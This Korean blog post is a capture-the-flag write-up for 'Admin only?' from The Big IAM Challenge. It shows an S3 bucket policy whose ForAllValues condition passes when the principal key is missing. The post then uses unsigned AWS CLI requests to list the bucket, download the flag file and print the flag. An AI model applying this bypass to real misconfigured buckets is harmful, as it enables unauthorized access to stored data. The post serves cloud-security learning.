본문 바로가기
Hack/Cloud

[The Big IAM Challenge] Admin only?

by Becoming a Hacker 2023. 7. 9.
반응형

Admin only? 문제

설명

We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it?

 

IAM Policy

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                },
                "ForAllValues:StringLike": {
                    "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
                }
            }
        }
    ]
}

 

풀이

이번 문제는 "thebigiamchallenge-admin-storage-abf1321" Bucket 내 Flag 파일이 업로드 되어있고, File List를 확인할 수 있는 ListObject 권한이 ForAllValues:StringLike로 PrincipalArn을 arn:aws:iam::133713371337:user/admin을 만족하는 경우로 제한되어 있었음

 

ForAllValues와 ForAnyValue는 모두 단일 키 또는 다수의 키에 대한 검증을 수행할 수 있으나, 일치하는 키가 존재하지 않거나 null 데이터인 경우의 작동 방식이 다른 것을 확인

 

ForAllValues

- Request 내 Key 값이 없거나 빈 문자열과 같은 Null 형태의 데이터인 경우 True를 반환함 (Allow Effect를 ForAllValues와 함께 사용하지 말 것을 권고하고 있음)

ForAnyVlaue

- Request 내 Key 값이 없거나 빈 문자열과 같은 Null 형태의 데이터인 경우 False를 반환함

 

즉, PrincipalArn Key가 존재하지 않거나 빈 문자열로 전송할 수 있을 경우에는 True가 반환될 수 있기 때문에 서명 데이터를 Request 내 포함하지 않는 --no-sign-request 옵션을 통하여 Flag를 획득할 수 있었음

 

1. s3 ls 사용 시 --no-sign-request 옵션을 함께 사용하여 PrincipalArn Key를 제외하고 Request를 전송함으로써 ListObject 명령 수행

> aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request
2023-06-08 04:15:43         42 flag-as-admin.txt
2023-06-09 04:20:01      81889 logo-admin.png

 

 

2. 파일 다운로드 및 Flag 획득

> aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt ./
download: s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt to .\flag-as-admin.txt

> type flag-as-admin.txt
{wiz:principal-arn-is-not-what-you-think}

 

Reference

 

다수의 키 또는 값을 사용하는 조건 생성 - AWS Identity and Access Management

다수의 키 또는 값을 사용하는 조건 생성 정책의 Condition 요소를 사용하여 요청에서 다수의 키, 혹은 단일 키에 대한 다수의 값을 테스트할 수 있습니다. 프로그래밍 방식이든, AWS Management Console

docs.aws.amazon.com

 

댓글